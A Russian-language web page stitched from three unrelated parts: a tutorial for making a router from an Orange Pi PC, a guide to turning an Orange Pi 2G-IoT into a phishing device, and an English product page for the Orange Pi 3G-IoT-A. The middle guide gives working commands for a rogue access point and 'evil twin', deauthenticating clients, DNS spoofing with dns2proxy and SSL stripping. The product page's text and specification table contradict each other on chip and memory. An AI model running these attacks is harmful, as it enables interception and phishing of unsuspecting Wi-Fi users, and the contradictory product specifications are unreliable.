- Маршрутизатор из Orange Pi
- Orange Pi 2G-IOT или Апельсиновый рай
- Первые приготовления
- Подключаемся через 2g
- Настраиваем openvpn
- Поднимаем точку доступа
- DNS Spoofing
- SSL Stripping
- Итог
- Orange Pi 3G-IoT-A
- Orange Pi 3G-IoT-A
- Product introduction
- WiFi+Bluetooth
- Multiple functional interfaces
- Hardware specification
- Interface definition
Маршрутизатор из Orange Pi
Рассмотрим, как можно сделать маршрутизатор из Orange Pi для дома и сети небольшого офиса (с ограничением доступа к интернету, сайтам и портам). Для этого я воспользуюсь Orange Pi PC , (конечно лучше будет использовать Orange Pi Zero).
Картой памяти на 32 Гб, достаточно будет и четырех гиговой. Также понадобится USB -бишная сетевушка и конечно источник питания на 5V 2A .
Подготовив все необходимые компоненты следует записать на MicroSD операционную систему Armbian образ которой можно скачать с официального сайта. С помощью программы Etcher, в которой указав путь, где располагается ISO – файл системы и накопитель, записываем Armbian.
По окончании установив в апельсинку карту памяти и сетевую карту. В своем случае подключаю одноплатник к роутеру (можно и напрямую к компьютеру) и запитываю его. На компьютере, работающем в этой же локальной сети, с помощью программы позволяющей сканировать сеть, определяем IP-адрес апельсинки. В моем случае данный, у которого в поле «Производитель» ничего не указано.
Теперь с помощью программы putty остается подключиться по протоколу SSH к плате, прописав в строке Host Name 192.168.1.52. При успешном соединении должно появиться окно, где следует ввести логин root, а пароль 1234. После авторизации нужно будет пройти стандартные этапы настройки.
Далее рекомендую выполнить парочку команд. Сначала apt-get update , которая обновляет информацию по репозиториям о новейших версиях пакетов. Затем с помощью apt-get upgrade установить последние версии пакетов.
Введя ifconfig можем видеть два сетевых интерфейса, где eth0 встроенный, а данный USB-карты.
Причем последний не сконфигурирован и не имеет IP-адреса. Чтобы его настроить воспользуемся утилитой armbian-config . В открывшемся псевдографическом режиме перехожу в Network , затем IP и далее указав сетевой интерфейс внешней карты на следующем этапе выбираю Static . Тут прописываю адрес 192.168.0.1, маску подсети 255.255.255.0, а шлюз удаляю.
По завершении нажимаю ОК и выхожу из псевдографического режима. Вновь написав ifconfig теперь можем наблюдать айпишник у данного адаптера.
Очищаю экран терминала сочетанием Ctrl+L и введя apt-get install arno-iptables-firewall устанавливаю arno-iptables-firewall выполняющий маршрутизацию.
Инсталляция происходит в псевдографическом режиме. На первом же этапе подтверждаю настройку с помощью конфигуратора пакетов.
Здесь указываю внешний интерфейс на который приходит интернет. (Другими словами его можно назвать WAN портом.) В моем случае это eth0.
Если доступ во внешку на плате не настроен, то это следует сделать заранее. Далее указываю номера портов TCP, которые будут доступны из внешнего мира.
Если такой нужды нет, оставляем это поле пустым. Аналогично поступаю с портами UDP.
Потом прописываю внутренний интерфейс. Имя которого я скопировал ранее из информации выведенной с помощью команды ifconfig.
На следующем шаге задаю подсеть локалки. В данном случае 192.168.0.0/24.
На завершающем этапе перезапускаю настройки фаервола. В данном случае выполняю подтверждение дважды.
Затем рекомендую установить DNS-сервер bind9 ( apt-get install bind9 ) , т.к. порой без него доступ к доменам в локалке может не работает. Чтобы настроить iptables полностью, нужно будет запустить данную команду реконфигурирования dpkg-reconfigure arno-iptables-firewall . В отличии от предыдущей подготовительной настройки тут указываем получает ли основной интерфейс доступ во внешку по DHCP или нет.
Пройдя еще пару этапов отмечаем будет ли пинговаться апельсинка из вне.
Также еще через парочку пунктов, для доступа к Интернету включаю NAT.
На приведенном этапе можно указать доступ к определенным внешним сетям или адресам.
По окончании перезапускаем межсетевой экран.
Не обязательно, но дополнительно рекомендую посмотреть конфигурацию файла resolv.conf (# nano resolv.conf ) в котором должен быть прописан доступ к серверам доменных имен.
Затем с помощью команды poweroff выключаем систему. Теперь к одноплатнику подключаем кабель приходящего Интернета. А через USB-ишную сетевушку устанавливаем соединение с ноутбуком и запитываем одноплатник.
Для реализации доступа во внешку большему количеству компьютеров можно воспользоваться коммутатором, в который останется подключить кабель витой пары идущий от локальной сетевушки.
В данном случае, что касается лэптопа, на рабочем столе в трее сетевой значек показывает отсутствие доступа к Интернету.
Кликнув по нему правой клавишей мыши выбираем «Параметры сети и Интернет», где перемещаемся в «Центр управления сетями и общим доступом», затем «Изменения параметров адаптера». Здесь открыв контекстное меню сетевушки перехожу в «Свойства» и в протоколе TCP/IP версии 4 прописываем айпишник. Маску подсети оставляем по умолчанию, а в качестве шлюза указываю локальный (внутренний) адрес апельсинки. Этот же адрес использую в качестве DNS.
Нажатием на ОК сохраняем сделанные изменения. Теперь проверим доступ в сеть, для чего запускаем браузер. В результате поисковик успешно открылся.
В целом минимальная настройка маршрутизации на Orange Pi PC выполнена.
О том как ограничить доступа к сайтам с помощью arno-iptables-firewall можно прочитать здесь .
О том как настроить DHCP-сервер на Orange Pi можно прочитать здесь .
Подробнее в данном видео:
Фото- и видеоматериалы взяты с канала ServLesson на YouTube.
Orange Pi 2G-IOT или Апельсиновый рай
Шерстя просторы AliExpress
в поисках Raspberry Pi, я наткнулся на такую такое вот устройство.
Этот одноплатник за 10$ имеет скромные габариты (67×42мм), содержит в себе: Cortex-A5 1,0 ГГц, 256Мб оперативной памяти, 512Мб NAND, а главное — встроенные WI-FI и 2G адаптеры!
Сразу вспомнилась статья «Ананасовый рай», вышедшая в журнале Хакер в далеком 2013 и я загорелся желанием превратить «апельсинку» в устройство для фишинга.
Сазу оговорюсь, что делается все это исключительно в экспериментальных целях.
Первые приготовления
Итак, идем на сайт производителя и скачиваем образ ОС, я выбрал Raspbian. Далее, распаковываем его на micro sd карту, ставим перемычку в положение T-Card и включаем питание.
Для подключения можно использовать usb-ttl переходник, либо задать логин-пароль в /etc/network/interfaces и подключиться по ssh.
Теперь можно подключиться к Wi-Fi через wpa_cli
add_network set_network 1 ssid "login" set_network 1 psk "password" save_config enable_network 1
Настраиваем dhcp
Подключаемся через 2g
apt-get install ppp wvdial
Создаем конфиг файлы (я использовал сим карту от МТС).
[Dialer Defaults] ISDN = 0 Modem Type = Analog Modem Phone = *99***1# Stupid Mode = 1 Dial Command = ATDT Modem = /dev/modem0 Baud = 460800 Init1 = ATE1 Init2 = AT+COPS=0 Init3 = AT+CFUN=1 Init4 = AT+CGATT=1 Init5 = AT+CGDCONT=1,"IP","internet.mts.ru","",0,0 Init6 = AT+CGACT=1,1 Username = mts Password = mts
ipcp-accept-local ipcp-accept-remote noipdefault defaultroute replacedefaultroute usepeerdns user mts noauth novj nobsdcomp crtscts modem lock
Пробуем подключиться; должно появиться ppp0 подключение.
Соединение может выпадать, поэтому напишем скрипт, который будет постоянно дергать сеть.
#!/bin/bash while : ; do wvdial sleep 10 done ) &
И положем его на автостарт в /etc/rc.local
/root/scripts/wvdial >/dev/null 2>&1 &
Настраиваем openvpn
Теперь поставим openvpn, чтобы мы могли без статики подключаться по SSH к нашей «апельсинке».
Гайды по настройки можно найти в сети, единственное — в файле конфига сервера необходимо раскомментировать опцию для маршрутизации трафика между хостами.
client-to-client
После настройки появляется tun0 соединение, перезапускаем openvpn и добавляем его в автозагрузку.
systemctl restart openvpn && systemctl enable openvpn
Теперь можно подключаться к устройству, минуя статику. Чтобы 2G соединение не казалось нам болью, меняем приоритеты адаптеров и перезапускаем openvpn.
ip route del default && \ ip route add default via 192.168.100.1 dev wlan0 && \ ip route add 192.168.100.0/24 via 192.168.100.1 dev wlan0 && \ service openvpn restart
Поднимаем точку доступа
Подключаем внешний usb Wifi адаптер и установим пакеты
apt-get install git dsniff isc-dhcp-server
authoritative; default-lease-time 600; max-lease-time 7200; subnet 172.16.0.0 netmask 255.255.255.0
Включим маршрутизацию трафика
echo 1 > /proc/sys/net/ipv4/ip_forward
Теперь запустим точку доступа:
airbase-ng -e FREE wlan1 -c 2
ifconfig at0 up ifconfig at0 172.16.0.1 netmask 255.255.255.0
iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE iptables --append FORWARD -j ACCEPT --in-interface at0
dhcpd -cf /etc/dhcp/dhcpd.conf
Отлично, точка доступа работает, маршрутизация работает. Мы также можем создать «злого близнеца», поменяв SSID точки доступа, MAC адрес и канал связи. Узнать информацию о доступных точках доступа, а также клиентов, подключенных к ним, можно, запустив утилиту airodump-ng.
Можно даже отправить пакеты для разъединения клиенту, чтобы он подключился к нашей ТД.
aireplay-ng -0 1 -a 01:02:03:04:05:06 -c 11:12:13:14:15:16 wlan0
01:02:03:04:05:06 — mac ТД.
11:12:13:14:15:16 — mac клиента.
DNS Spoofing
git clone https://github.com/LeonardoNve/dns2proxy
Редактируем под себя domains.cfg и запускаем программу.
echo ".test.com 172.16.0.1" >> domains.cfg apt-get install nginx // Немного коммента python3 dns2proxy.py
Теперь клиенты, заходя на test.com, будут попадать на наш локальный веб-сервер.
SSL Stripping
git clone https://github.com/byt3bl33d3r/sslstrip2
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
К сожалению, сейчас sslstrip2 работает не со всеми сайтами.
Итог
За 10$ получилось собрать тот же «Ананасик», но гораздо компактнее. С аккумулятором на 2000mAч устройства хватает примерно на сутки.
→ Характеристики на сайте производителя.
→ Скрипты по поднятию fake ap собрал в репозиторий.
P.S
Перед покупкой девайса настоятельно рекомендую ознакомиться со статьей Orange Pi 2G-IOT: карта минного поля
- Company News
- Video
- Events
- About Orange Pi
- Agent Recruitment
- Download
- Github
- Wiki
Orange Pi 3G-IoT-A
Orange Pi 3G-IoT-A
Orange Pi 3G-IoT-A is an open-source single-board computer with WiFi and Bluetooth. It is highly compact with a dimension of 52X68mm.
Product introduction
Orange Pi 3G-IoT-A uses the Allwinner H6 SoC, and has 2GB LPDDR3 SDRAM, 8GB EMMC Flash. It can run Android 9,Ubuntu,Debian. Orange Pi 3G-IoT-A offers a range of different ports, including HDMI output, 26pin headers, Gbps Ethernet port,1*USB 3.0, 2* USB2.0,etc. It is powered through Type-C. It is a good choice for applications that need strong networking perfomance.
Orange Pi 3G-IoT-A is for anyone who wants to start creating with technology- not just consuming it. lt’s a simple, fun, useful tool that you can use to start taking control of the world around you.
WiFi+Bluetooth
Enjoy wonderful network anytime and anywhere
Multiple functional interfaces
Integrates the popular HDMI, CSI camera port , USB-OTG,etc.
Hardware specification
Processor | MT6572 |
CPU | Dual Core ARM® Cortex-A7, Main frequency up to 1.2GHz |
GPU | ARM Mali-400MP1 GPU |
Memory | 256MB DDR2 |
Emmc | 512MB EMMC Flash |
Wireless | WiFi / BT / FM / GPS Four in one |
Radio frequency | • GSM: 850/900/1800/1900 • WCDMA: B1/B2/B5/B8 • TD-CDMA • CDMA2000 |
Display | FWVGA(FPC zif Connector) |
Capacitance touch | Support (FPC zif Connector) |
Camera | MIPI Connector |
SIM Card | mini Single SIM Card |
TF Card | Support hot-plugging |
Audio | • Earphone: For audio input / output • Mic: For audio input |
USB | One USB Host, one Micro USB |
LED | Red for power indicator, Green for status indicator |
Key | Power button(SW602) |
Low-level peripherals | 40pin Expansion Headers: GPIO 1.8V, SPI × 2 , I2C × 3, UART×2 |
Power Supply | Micro USB(5V/2A),Battery(Optional) |
OS | Android 4.4 |
Programming support | C, C++, Kotlin, Java, Shell, Python, etc |